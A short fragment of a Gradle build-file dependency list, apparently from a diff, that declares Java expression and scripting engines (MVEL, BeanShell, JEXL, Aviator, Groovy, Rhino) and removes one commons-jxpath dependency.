implementation("org.mvel:mvel2:2.4.7.Final") implementation("org.beanshell:bsh:2.0b5") implementation("org.apache.commons:commons-jexl:2.1.1") implementation("org.apache.commons:commons-jexl3:3.2.1") - implementation("commons-jxpath:commons-jxpath:1.3") implementation("com.googlecode.aviator:aviator:5.2.7") implementation("org.codehaus.groovy:groovy:3.0.6") implementation("org.mozilla:rhino:1.7.14")